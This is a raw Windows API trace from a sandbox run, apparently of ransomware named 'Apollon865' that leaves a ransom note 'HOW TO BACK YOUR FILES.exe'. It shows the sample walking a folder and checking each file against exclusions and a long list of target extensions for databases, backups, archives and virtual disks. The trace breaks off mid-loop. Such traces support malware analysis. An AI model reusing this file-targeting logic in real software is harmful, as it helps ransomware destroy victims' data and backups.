	[0046.528] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x599450
	[0046.528] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0046.528] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1
	[0046.528] lstrcmpiW (lpString1="FileTypePolicies", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.528] lstrcmpiW (lpString1="FileTypePolicies", lpString2="Apollon865.txt.exe") returned 1
	[0046.528] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="FileTypePolicies" | out: lpString1="FileTypePolicies") returned="FileTypePolicies"
	[0046.528] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0046.528] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xaa) returned 0x5994f8
	[0046.528] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0046.528] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8b8920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f8b8920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f8b8920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1
	[0046.528] lstrcmpiW (lpString1="First Run", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.529] lstrcmpiW (lpString1="First Run", lpString2="Apollon865.txt.exe") returned 1
	[0046.529] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="First Run" | out: lpString1="First Run") returned="First Run"
	[0046.529] lstrlenW (lpString="First Run") returned 9
	[0046.529] lstrlenW (lpString="Apollon865") returned 10
	[0046.529] lstrlenW (lpString=".dll") returned 4
	[0046.529] lstrcmpiW (lpString1="First Run", lpString2=".dll") returned 1
	[0046.529] lstrlenW (lpString=".lnk") returned 4
	[0046.529] lstrcmpiW (lpString1="First Run", lpString2=".lnk") returned 1
	[0046.529] lstrlenW (lpString=".ini") returned 4
	[0046.529] lstrcmpiW (lpString1="First Run", lpString2=".ini") returned 1
	[0046.529] lstrlenW (lpString=".sys") returned 4
	[0046.529] lstrcmpiW (lpString1="First Run", lpString2=".sys") returned 1
	[0046.529] lstrlenW (lpString="First Run") returned 9
	[0046.529] lstrlenW (lpString="bak") returned 3
	[0046.529] lstrcmpiW (lpString1="Run", lpString2="bak") returned 1
	[0046.529] lstrlenW (lpString="ba_") returned 3
	[0046.529] lstrcmpiW (lpString1="Run", lpString2="ba_") returned 1
	[0046.529] lstrlenW (lpString="dbb") returned 3
	[0046.529] lstrcmpiW (lpString1="Run", lpString2="dbb") returned 1
	[0046.529] lstrlenW (lpString="vmdk") returned 4
	[0046.529] lstrcmpiW (lpString1=" Run", lpString2="vmdk") returned -1
	[0046.529] lstrlenW (lpString="rar") returned 3
	[0046.529] lstrcmpiW (lpString1="Run", lpString2="rar") returned 1
	[0046.529] lstrlenW (lpString="zip") returned 3
	[0046.529] lstrcmpiW (lpString1="Run", lpString2="zip") returned -1
	[0046.529] lstrlenW (lpString="tgz") returned 3
	[0046.529] lstrcmpiW (lpString1="Run", lpString2="tgz") returned -1
	[0046.529] lstrlenW (lpString="vbox") returned 4
	[0046.529] lstrcmpiW (lpString1=" Run", lpString2="vbox") returned -1
	[0046.529] lstrlenW (lpString="vdi") returned 3
	[0046.529] lstrcmpiW (lpString1="Run", lpString2="vdi") returned -1
	[0046.529] lstrlenW (lpString="vhd") returned 3
	[0046.529] lstrcmpiW (lpString1="Run", lpString2="vhd") returned -1
	[0046.530] lstrlenW (lpString="vhdx") returned 4
	[0046.530] lstrcmpiW (lpString1=" Run", lpString2="vhdx") returned -1
	[0046.530] lstrlenW (lpString="avhd") returned 4
	[0046.530] lstrcmpiW (lpString1=" Run", lpString2="avhd") returned -1
	[0046.530] lstrlenW (lpString="db") returned 2
	[0046.530] lstrcmpiW (lpString1="un", lpString2="db") returned 1
	[0046.530] lstrlenW (lpString="db2") returned 3
	[0046.530] lstrcmpiW (lpString1="Run", lpString2="db2") returned 1
	[0046.530] lstrlenW (lpString="db3") returned 3
	[0046.530] lstrcmpiW (lpString1="Run", lpString2="db3") returned 1
	[0046.530] lstrlenW (lpString="dbf") returned 3
	[0046.530] lstrcmpiW (lpString1="Run", lpString2="dbf") returned 1
	[0046.530] lstrlenW (lpString="mdf") returned 3
	[0046.530] lstrcmpiW (lpString1="Run", lpString2="mdf") returned 1
	[0046.530] lstrlenW (lpString="mdb") returned 3
	[0046.530] lstrcmpiW (lpString1="Run", lpString2="mdb") returned 1
	[0046.530] lstrlenW (lpString="sql") returned 3
	[0046.530] lstrcmpiW (lpString1="Run", lpString2="sql") returned -1
	[0046.530] lstrlenW (lpString="sqlite") returned 6
	[0046.530] lstrcmpiW (lpString1="st Run", lpString2="sqlite") returned 1
	[0046.530] lstrlenW (lpString="sqlite3") returned 7
	[0046.530] lstrcmpiW (lpString1="rst Run", lpString2="sqlite3") returned -1
	[0046.530] lstrlenW (lpString="sqlitedb") returned 8
	[0046.530] lstrcmpiW (lpString1="irst Run", lpString2="sqlitedb") returned -1
	[0046.530] lstrlenW (lpString="xml") returned 3
	[0046.530] lstrcmpiW (lpString1="Run", lpString2="xml") returned -1
	[0046.530] lstrlenW (lpString="$er") returned 3
	[0046.530] lstrcmpiW (lpString1="Run", lpString2="$er") returned 1
	[0046.530] lstrlenW (lpString="4dd") returned 3
	[0046.530] lstrcmpiW (lpString1="Run", lpString2="4dd") returned 1
	[0046.530] lstrlenW (lpString="4dl") returned 3
	[0046.530] lstrcmpiW (lpString1="Run", lpString2="4dl") returned 1
	[0046.530] lstrlenW (lpString="^^^") returned 3
	[0046.531] lstrcmpiW (lpString1="Run", lpString2="^^^") returned 1
	[0046.531] lstrlenW (lpString="abs") returned 3
	[0046.531] lstrcmpiW (lpString1="Run", lpString2="abs") returned 1
	[0046.531] lstrlenW (lpString="abx") returned 3
	[0046.531] lstrcmpiW (lpString1="Run", lpString2="abx") returned 1
	[0046.531] lstrlenW (lpString="accdb") returned 5
	[0046.531] lstrcmpiW (lpString1="t Run", lpString2="accdb") returned 1
	[0046.531] lstrlenW (lpString="accdc") returned 5
	[0046.531] lstrcmpiW (lpString1="t Run", lpString2="accdc") returned 1
	[0046.531] lstrlenW (lpString="accde") returned 5
	[0046.531] lstrcmpiW (lpString1="t Run", lpString2="accde") returned 1
	[0046.531] lstrlenW (lpString="accdr") returned 5
	[0046.531] lstrcmpiW (lpString1="t Run", lpString2="accdr") returned 1
	[0046.531] lstrlenW (lpString="accdt") returned 5
	[0046.531] lstrcmpiW (lpString1="t Run", lpString2="accdt") returned 1
	[0046.531] lstrlenW (lpString="accdw") returned 5
	[0046.531] lstrcmpiW (lpString1="t Run", lpString2="accdw") returned 1
	[0046.531] lstrlenW (lpString="accft") returned 5
	[0046.531] lstrcmpiW (lpString1="t Run", lpString2="accft") returned 1
	[0046.531] lstrlenW (lpString="adb") returned 3
	[0046.531] lstrcmpiW (lpString1="Run", lpString2="adb") returned 1
	[0046.531] lstrlenW (lpString="adb") returned 3
	[0046.531] lstrcmpiW (lpString1="Run", lpString2="adb") returned 1
	[0046.531] lstrlenW (lpString="ade") returned 3
	[0046.531] lstrcmpiW (lpString1="Run", lpString2="ade") returned 1
	[0046.531] lstrlenW (lpString="adf") returned 3
	[0046.531] lstrcmpiW (lpString1="Run", lpString2="adf") returned 1
	[0046.531] lstrlenW (lpString="adn") returned 3
	[0046.531] lstrcmpiW (lpString1="Run", lpString2="adn") returned 1
	[0046.531] lstrlenW (lpString="adp") returned 3
	[0046.531] lstrcmpiW (lpString1="Run", lpString2="adp") returned 1
	[0046.531] lstrlenW (lpString="alf") returned 3
	[0046.531] lstrcmpiW (lpString1="Run", lpString2="alf") returned 1
	[0046.531] lstrlenW (lpString="ask") returned 3
	[0046.531] lstrcmpiW (lpString1="Run", lpString2="ask") returned 1
	[0046.532] lstrlenW (lpString="btr") returned 3
	[0046.532] lstrcmpiW (lpString1="Run", lpString2="btr") returned 1
	[0046.532] lstrlenW (lpString="cat") returned 3
	[0046.532] lstrcmpiW (lpString1="Run", lpString2="cat") returned 1
	[0046.532] lstrlenW (lpString="cdb") returned 3
	[0046.532] lstrcmpiW (lpString1="Run", lpString2="cdb") returned 1
	[0046.532] lstrlenW (lpString="ckp") returned 3
	[0046.532] lstrcmpiW (lpString1="Run", lpString2="ckp") returned 1
	[0046.532] lstrlenW (lpString="cma") returned 3
	[0046.532] lstrcmpiW (lpString1="Run", lpString2="cma") returned 1
	[0046.532] lstrlenW (lpString="cpd") returned 3
	[0046.532] lstrcmpiW (lpString1="Run", lpString2="cpd") returned 1
	[0046.532] lstrlenW (lpString="dacpac") returned 6
	[0046.532] lstrcmpiW (lpString1="st Run", lpString2="dacpac") returned 1
	[0046.532] lstrlenW (lpString="dad") returned 3
	[0046.532] lstrcmpiW (lpString1="Run", lpString2="dad") returned 1
	[0046.532] lstrlenW (lpString="dadiagrams") returned 10
	[0046.532] lstrlenW (lpString="daschema") returned 8
	[0046.532] lstrcmpiW (lpString1="irst Run", lpString2="daschema") returned 1
	[0046.532] lstrlenW (lpString="db-journal") returned 10
	[0046.532] lstrlenW (lpString="db-shm") returned 6
	[0046.532] lstrcmpiW (lpString1="st Run", lpString2="db-shm") returned 1
	[0046.532] lstrlenW (lpString="db-wal") returned 6
	[0046.532] lstrcmpiW (lpString1="st Run", lpString2="db-wal") returned 1
	[0046.532] lstrlenW (lpString="dbc") returned 3
	[0046.532] lstrcmpiW (lpString1="Run", lpString2="dbc") returned 1
	[0046.532] lstrlenW (lpString="dbs") returned 3
	[0046.532] lstrcmpiW (lpString1="Run", lpString2="dbs") returned 1
	[0046.532] lstrlenW (lpString="dbt") returned 3
	[0046.532] lstrcmpiW (lpString1="Run", lpString2="dbt") returned 1
	[0046.532] lstrlenW (lpString="dbv") returned 3
	[0046.532] lstrcmpiW (lpString1="Run", lpString2="dbv") returned 1
	[0046.532] lstrlenW (lpString="dbx") returned 3
	[0046.532] lstrcmpiW (lpString1="Run", lpString2="dbx") returned 1
	[0046.532] lstrlenW (lpString="dcb") returned 3
	[0046.533] lstrcmpiW (lpString1="Run", lpString2="dcb") returned 1
	[0046.533] lstrlenW (lpString="dct") returned 3
	[0046.533] lstrcmpiW (lpString1="Run", lpString2="dct") returned 1
	[0046.533] lstrlenW (lpString="dcx") returned 3
	[0046.533] lstrcmpiW (lpString1="Run", lpString2="dcx") returned 1
	[0046.533] lstrlenW (lpString="ddl") returned 3
	[0046.533] lstrcmpiW (lpString1="Run", lpString2="ddl") returned 1
	[0046.533] lstrlenW (lpString="dlis") returned 4
	[0046.533] lstrcmpiW (lpString1=" Run", lpString2="dlis") returned -1
	[0046.533] lstrlenW (lpString="dp1") returned 3
	[0046.533] lstrcmpiW (lpString1="Run", lpString2="dp1") returned 1
	[0046.533] lstrlenW (lpString="dqy") returned 3
	[0046.533] lstrcmpiW (lpString1="Run", lpString2="dqy") returned 1
	[0046.533] lstrlenW (lpString="dsk") returned 3
	[0046.533] lstrcmpiW (lpString1="Run", lpString2="dsk") returned 1
	[0046.533] lstrlenW (lpString="dsn") returned 3
	[0046.533] lstrcmpiW (lpString1="Run", lpString2="dsn") returned 1
	[0046.533] lstrlenW (lpString="dtsx") returned 4
	[0046.533] lstrcmpiW (lpString1=" Run", lpString2="dtsx") returned -1
	[0046.533] lstrlenW (lpString="dxl") returned 3
	[0046.533] lstrcmpiW (lpString1="Run", lpString2="dxl") returned 1
	[0046.533] lstrlenW (lpString="eco") returned 3
	[0046.533] lstrcmpiW (lpString1="Run", lpString2="eco") returned 1
	[0046.533] lstrlenW (lpString="ecx") returned 3
	[0046.533] lstrcmpiW (lpString1="Run", lpString2="ecx") returned 1
	[0046.533] lstrlenW (lpString="edb") returned 3
	[0046.533] lstrcmpiW (lpString1="Run", lpString2="edb") returned 1
	[0046.533] lstrlenW (lpString="epim") returned 4
	[0046.533] lstrcmpiW (lpString1=" Run", lpString2="epim") returned -1
	[0046.533] lstrlenW (lpString="fcd") returned 3
	[0046.533] lstrcmpiW (lpString1="Run", lpString2="fcd") returned 1
	[0046.533] lstrlenW (lpString="fdb") returned 3
	[0046.533] lstrcmpiW (lpString1="Run", lpString2="fdb") returned 1
	[0046.534] lstrlenW (lpString="fic") returned 3
	[0046.534] lstrcmpiW (lpString1="Run", lpString2="fic") returned 1
	[0046.534] lstrlenW (lpString="flexolibrary") returned 12
	[0046.534] lstrlenW (lpString="fm5") returned 3
	[0046.534] lstrcmpiW (lpString1="Run", lpString2="fm5") returned 1
	[0046.534] lstrlenW (lpString="fmp") returned 3
	[0046.534] lstrcmpiW (lpString1="Run", lpString2="fmp") returned 1
	[0046.534] lstrlenW (lpString="fmp12") returned 5
	[0046.534] lstrcmpiW (lpString1="t Run", lpString2="fmp12") returned 1
	[0046.534] lstrlenW (lpString="fmpsl") returned 5
	[0046.534] lstrcmpiW (lpString1="t Run", lpString2="fmpsl") returned 1
	[0046.534] lstrlenW (lpString="fol") returned 3
	[0046.534] lstrcmpiW (lpString1="Run", lpString2="fol") returned 1
	[0046.534] lstrlenW (lpString="fp3") returned 3
	[0046.534] lstrcmpiW (lpString1="Run", lpString2="fp3") returned 1
	[0046.534] lstrlenW (lpString="fp4") returned 3
	[0046.534] lstrcmpiW (lpString1="Run", lpString2="fp4") returned 1
	[0046.534] lstrlenW (lpString="fp5") returned 3
	[0046.534] lstrcmpiW (lpString1="Run", lpString2="fp5") returned 1
	[0046.534] lstrlenW (lpString="fp7") returned 3
	[0046.534] lstrcmpiW (lpString1="Run", lpString2="fp7") returned 1
	[0046.534] lstrlenW (lpString="fpt") returned 3
	[0046.534] lstrcmpiW (lpString1="Run", lpString2="fpt") returned 1
	[0046.534] lstrlenW (lpString="frm") returned 3
	[0046.534] lstrcmpiW (lpString1="Run", lpString2="frm") returned 1
	[0046.534] lstrlenW (lpString="gdb") returned 3
	[0046.534] lstrcmpiW (lpString1="Run", lpString2="gdb") returned 1
	[0046.534] lstrlenW (lpString="gdb") returned 3
	[0046.534] lstrcmpiW (lpString1="Run", lpString2="gdb") returned 1
	[0046.534] lstrlenW (lpString="grdb") returned 4
	[0046.534] lstrcmpiW (lpString1=" Run", lpString2="grdb") returned -1
	[0046.534] lstrlenW (lpString="gwi") returned 3
	[0046.534] lstrcmpiW (lpString1="Run", lpString2="gwi") returned 1
	[0046.535] lstrlenW (lpString="hdb") returned 3
	[0046.535] lstrcmpiW (lpString1="Run", lpString2="hdb") returned 1
	[0046.535] lstrlenW (lpString="his") returned 3
	[0046.535] lstrcmpiW (lpString1="Run", lpString2="his") returned 1
	[0046.535] lstrlenW (lpString="ib") returned 2
	[0046.535] lstrcmpiW (lpString1="un", lpString2="ib") returned 1
	[0046.535] lstrlenW (lpString="idb") returned 3
	[0046.535] lstrcmpiW (lpString1="Run", lpString2="idb") returned 1
	[0046.535] lstrlenW (lpString="ihx") returned 3
	[0046.535] lstrcmpiW (lpString1="Run", lpString2="ihx") returned 1
	[0046.535] lstrlenW (lpString="itdb") returned 4
	[0046.535] lstrcmpiW (lpString1=" Run", lpString2="itdb") returned -1
	[0046.535] lstrlenW (lpString="itw") returned 3
	[0046.535] lstrcmpiW (lpString1="Run", lpString2="itw") returned 1
	[0046.535] lstrlenW (lpString="jet") returned 3
	[0046.535] lstrcmpiW (lpString1="Run", lpString2="jet") returned 1
	[0046.535] lstrlenW (lpString="jtx") returned 3
	[0046.535] lstrcmpiW (lpString1="Run", lpString2="jtx") returned 1
	[0046.535] lstrlenW (lpString="kdb") returned 3
	[0046.535] lstrcmpiW (lpString1="Run", lpString2="kdb") returned 1
	[0046.535] lstrlenW (lpString="kexi") returned 4
	[0046.535] lstrcmpiW (lpString1=" Run", lpString2="kexi") returned -1
	[0046.535] lstrlenW (lpString="kexic") returned 5
	[0046.535] lstrcmpiW (lpString1="t Run", lpString2="kexic") returned 1
	[0046.535] lstrlenW (lpString="kexis") returned 5
	[0046.535] lstrcmpiW (lpString1="t Run", lpString2="kexis") returned 1
	[0046.535] lstrlenW (lpString="lgc") returned 3
	[0046.535] lstrcmpiW (lpString1="Run", lpString2="lgc") returned 1
	[0046.535] lstrlenW (lpString="lwx") returned 3
	[0046.535] lstrcmpiW (lpString1="Run", lpString2="lwx") returned 1
	[0046.535] lstrlenW (lpString="maf") returned 3
	[0046.535] lstrcmpiW (lpString1="Run", lpString2="maf") returned 1
	[0046.535] lstrlenW (lpString="maq") returned 3
	[0046.536] lstrcmpiW (lpString1="Run", lpString2="maq") returned 1
	[0046.536] lstrlenW (lpString="mar") returned 3
	[0046.536] lstrcmpiW (lpString1="Run", lpString2="mar") returned 1
	[0046.536] lstrlenW (lpString="marshal") returned 7
	[0046.536] lstrcmpiW (lpString1="rst Run", lpString2="marshal") returned 1
	[0046.536] lstrlenW (lpString="mas") returned 3
	[0046.536] lstrcmpiW (lpString1="Run", lpString2="mas") returned 1
	[0046.536] lstrlenW (lpString="mav") returned 3
	[0046.536] lstrcmpiW (lpString1="Run", lpString2="mav") returned 1
	[0046.536] lstrlenW (lpString="maw") returned 3
	[0046.536] lstrcmpiW (lpString1="Run", lpString2="maw") returned 1
	[0046.536] lstrlenW (lpString="mdbhtml") returned 7
	[0046.536] lstrcmpiW (lpString1="rst Run", lpString2="mdbhtml") returned 1
	[0046.536] lstrlenW (lpString="mdn") returned 3
	[0046.536] lstrcmpiW (lpString1="Run", lpString2="mdn") returned 1
	[0046.536] lstrlenW (lpString="mdt") returned 3
	[0046.536] lstrcmpiW (lpString1="Run", lpString2="mdt") returned 1
	[0046.536] lstrlenW (lpString="mfd") returned 3
	[0046.536] lstrcmpiW (lpString1="Run", lpString2="mfd") returned 1
	[0046.536] lstrlenW (lpString="mpd") returned 3
	[0046.536] lstrcmpiW (lpString1="Run", lpString2="mpd") returned 1
	[0046.536] lstrlenW (lpString="mrg") returned 3
	[0046.536] lstrcmpiW (lpString1="Run", lpString2="mrg") returned 1
	[0046.536] lstrlenW (lpString="mud") returned 3
	[0046.536] lstrcmpiW (lpString1="Run", lpString2="mud") returned 1
	[0046.536] lstrlenW (lpString="mwb") returned 3
	[0046.536] lstrcmpiW (lpString1="Run", lpString2="mwb") returned 1
	[0046.536] lstrlenW (lpString="myd") returned 3
	[0046.536] lstrcmpiW (lpString1="Run", lpString2="myd") returned 1
	[0046.536] lstrlenW (lpString="ndf") returned 3
	[0046.536] lstrcmpiW (lpString1="Run", lpString2="ndf") returned 1
	[0046.536] lstrlenW (lpString="nnt") returned 3
	[0046.536] lstrcmpiW (lpString1="Run", lpString2="nnt") returned 1
	[0046.536] lstrlenW (lpString="nrmlib") returned 6
	[0046.537] lstrcmpiW (lpString1="st Run", lpString2="nrmlib") returned 1
	[0046.537] lstrlenW (lpString="ns2") returned 3
	[0046.537] lstrcmpiW (lpString1="Run", lpString2="ns2") returned 1
	[0046.537] lstrlenW (lpString="ns3") returned 3
	[0046.537] lstrcmpiW (lpString1="Run", lpString2="ns3") returned 1
	[0046.537] lstrlenW (lpString="ns4") returned 3
	[0046.537] lstrcmpiW (lpString1="Run", lpString2="ns4") returned 1
	[0046.537] lstrlenW (lpString="nsf") returned 3
	[0046.537] lstrcmpiW (lpString1="Run", lpString2="nsf") returned 1
	[0046.537] lstrlenW (lpString="nv") returned 2
	[0046.537] lstrcmpiW (lpString1="un", lpString2="nv") returned 1
	[0046.537] lstrlenW (lpString="nv2") returned 3
	[0046.537] lstrcmpiW (lpString1="Run", lpString2="nv2") returned 1
	[0046.537] lstrlenW (lpString="nwdb") returned 4
	[0046.537] lstrcmpiW (lpString1=" Run", lpString2="nwdb") returned -1
	[0046.537] lstrlenW (lpString="nyf") returned 3
	[0046.537] lstrcmpiW (lpString1="Run", lpString2="nyf") returned 1
	[0046.537] lstrlenW (lpString="odb") returned 3
	[0046.537] lstrcmpiW (lpString1="Run", lpString2="odb") returned 1
	[0046.537] lstrlenW (lpString="odb") returned 3
	[0046.537] lstrcmpiW (lpString1="Run", lpString2="odb") returned 1
	[0046.537] lstrlenW (lpString="oqy") returned 3
	[0046.537] lstrcmpiW (lpString1="Run", lpString2="oqy") returned 1
	[0046.537] lstrlenW (lpString="ora") returned 3
	[0046.537] lstrcmpiW (lpString1="Run", lpString2="ora") returned 1
	[0046.537] lstrlenW (lpString="orx") returned 3
	[0046.537] lstrcmpiW (lpString1="Run", lpString2="orx") returned 1
	[0046.537] lstrlenW (lpString="owc") returned 3
	[0046.537] lstrcmpiW (lpString1="Run", lpString2="owc") returned 1
	[0046.537] lstrlenW (lpString="p96") returned 3
	[0046.537] lstrcmpiW (lpString1="Run", lpString2="p96") returned 1
	[0046.537] lstrlenW (lpString="p97") returned 3
	[0046.537] lstrcmpiW (lpString1="Run", lpString2="p97") returned 1
	[0046.537] lstrlenW (lpString="pan") returned 3
	[0046.538] lstrcmpiW (lpString1="Run", lpString2="pan") returned 1
	[0046.538] lstrlenW (lpString="pdb") returned 3
	[0046.538] lstrcmpiW (lpString1="Run", lpString2="pdb") returned 1
	[0046.538] lstrlenW (lpString="pdm") returned 3
	[0046.538] lstrcmpiW (lpString1="Run", lpString2="pdm") returned 1
	[0046.538] lstrlenW (lpString="pnz") returned 3
	[0046.538] lstrcmpiW (lpString1="Run", lpString2="pnz") returned 1
	[0046.538] lstrlenW (lpString="qry") returned 3
	[0046.538] lstrcmpiW (lpString1="Run", lpString2="qry") returned 1
	[0046.538] lstrlenW (lpString="qvd") returned 3
	[0046.538] lstrcmpiW (lpString1="Run", lpString2="qvd") returned 1
	[0046.538] lstrlenW (lpString="rbf") returned 3
	[0046.538] lstrcmpiW (lpString1="Run", lpString2="rbf") returned 1
	[0046.538] lstrlenW (lpString="rctd") returned 4
	[0046.538] lstrcmpiW (lpString1=" Run", lpString2="rctd") returned -1
	[0046.538] lstrlenW (lpString="rod") returned 3
	[0046.538] lstrcmpiW (lpString1="Run", lpString2="rod") returned 1
	[0046.538] lstrlenW (lpString="rodx") returned 4
	[0046.538] lstrcmpiW (lpString1=" Run", lpString2="rodx") returned -1
	[0046.538] lstrlenW (lpString="rpd") returned 3
	[0046.538] lstrcmpiW (lpString1="Run", lpString2="rpd") returned 1
	[0046.538] lstrlenW (lpString="rsd") returned 3
	[0046.538] lstrcmpiW (lpString1="Run", lpString2="rsd") returned 1
	[0046.538] lstrlenW (lpString="sas7bdat") returned 8
	[0046.538] lstrcmpiW (lpString1="irst Run", lpString2="sas7bdat") returned -1
	[0046.538] lstrlenW (lpString="sbf") returned 3
	[0046.538] lstrcmpiW (lpString1="Run", lpString2="sbf") returned -1
	[0046.538] lstrlenW (lpString="scx") returned 3
	[0046.538] lstrcmpiW (lpString1="Run", lpString2="scx") returned -1
	[0046.538] lstrlenW (lpString="sdb") returned 3
	[0046.538] lstrcmpiW (lpString1="Run", lpString2="sdb") returned -1
	[0046.538] lstrlenW (lpString="sdc") returned 3
	[0046.538] lstrcmpiW (lpString1="Run", lpString2="sdc") returned -1
	[0046.539] lstrlenW (lpString="sdf") returned 3
	[0046.539] lstrcmpiW (lpString1="Run", lpString2="sdf") returned -1
	[0046.539] lstrlenW (lpString="sis") returned 3
	[0046.539] lstrcmpiW (lpString1="Run", lpString2="sis") returned -1
	[0046.539] lstrlenW (lpString="spq") returned 3
	[0046.539] lstrcmpiW (lpString1="Run", lpString2="spq") returned -1
	[0046.539] lstrlenW (lpString="te") returned 2
	[0046.539] lstrcmpiW (lpString1="un", lpString2="te") returned 1
	[0046.539] lstrlenW (lpString="teacher") returned 7
	[0046.539] lstrcmpiW (lpString1="rst Run", lpString2="teacher") returned -1
	[0046.539] lstrlenW (lpString="tmd") returned 3
	[0046.539] lstrcmpiW (lpString1="Run", lpString2="tmd") returned -1
	[0046.539] lstrlenW (lpString="tps") returned 3
	[0046.539] lstrcmpiW (lpString1="Run", lpString2="tps") returned -1
	[0046.539] lstrlenW (lpString="trc") returned 3
	[0046.539] lstrcmpiW (lpString1="Run", lpString2="trc") returned -1
	[0046.539] lstrlenW (lpString="trc") returned 3
	[0046.539] lstrcmpiW (lpString1="Run", lpString2="trc") returned -1
	[0046.539] lstrlenW (lpString="trm") returned 3
	[0046.539] lstrcmpiW (lpString1="Run", lpString2="trm") returned -1
	[0046.539] lstrlenW (lpString="udb") returned 3
	[0046.539] lstrcmpiW (lpString1="Run", lpString2="udb") returned -1
	[0046.539] lstrlenW (lpString="udl") returned 3
	[0046.539] lstrcmpiW (lpString1="Run", lpString2="udl") returned -1
	[0046.539] lstrlenW (lpString="usr") returned 3
	[0046.539] lstrcmpiW (lpString1="Run", lpString2="usr") returned -1
	[0046.539] lstrlenW (lpString="v12") returned 3
	[0046.539] lstrcmpiW (lpString1="Run", lpString2="v12") returned -1
	[0046.539] lstrlenW (lpString="vis") returned 3
	[0046.539] lstrcmpiW (lpString1="Run", lpString2="vis") returned -1
	[0046.539] lstrlenW (lpString="vpd") returned 3
	[0046.539] lstrcmpiW (lpString1="Run", lpString2="vpd") returned -1
	[0046.539] lstrlenW (lpString="vvv") returned 3
	[0046.540] lstrcmpiW (lpString1="Run", lpString2="vvv") returned -1
	[0046.540] lstrlenW (lpString="wdb") returned 3
	[0046.540] lstrcmpiW (lpString1="Run", lpString2="wdb") returned -1
	[0046.540] lstrlenW (lpString="wmdb") returned 4
	[0046.540] lstrcmpiW (lpString1=" Run", lpString2="wmdb") returned -1
	[0046.540] lstrlenW (lpString="wrk") returned 3
	[0046.540] lstrcmpiW (lpString1="Run", lpString2="wrk") returned -1
	[0046.540] lstrlenW (lpString="xdb") returned 3
	[0046.540] lstrcmpiW (lpString1="Run", lpString2="xdb") returned -1
	[0046.540] lstrlenW (lpString="xld") returned 3
	[0046.540] lstrcmpiW (lpString1="Run", lpString2="xld") returned -1
	[0046.540] lstrlenW (lpString="xmlff") returned 5
	[0046.540] lstrcmpiW (lpString1="t Run", lpString2="xmlff") returned -1
	[0046.540] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ce3830, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33ce3830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.540] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.540] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85749110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c0bcce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0bf3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1082a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1
	[0046.540] lstrcmpiW (lpString1="Local State", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.540] lstrcmpiW (lpString1="Local State", lpString2="Apollon865.txt.exe") returned 1
	[0046.540] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="Local State" | out: lpString1="Local State") returned="Local State"
	[0046.540] lstrlenW (lpString="Local State") returned 11
	[0046.540] lstrlenW (lpString="Apollon865") returned 10
	[0046.540] lstrcmpiW (lpString1="ocal State", lpString2="Apollon865") returned 1
	[0046.540] lstrlenW (lpString=".dll") returned 4
	[0046.540] lstrcmpiW (lpString1="Local State", lpString2=".dll") returned 1
	[0046.540] lstrlenW (lpString=".lnk") returned 4
	[0046.540] lstrcmpiW (lpString1="Local State", lpString2=".lnk") returned 1
	[0046.540] lstrlenW (lpString=".ini") returned 4
	[0046.540] lstrcmpiW (lpString1="Local State", lpString2=".ini") returned 1
	[0046.540] lstrlenW (lpString=".sys") returned 4
	[0046.540] lstrcmpiW (lpString1="Local State", lpString2=".sys") returned 1
	[0046.540] lstrlenW (lpString="Local State") returned 11
	[0046.540] lstrlenW (lpString="bak") returned 3
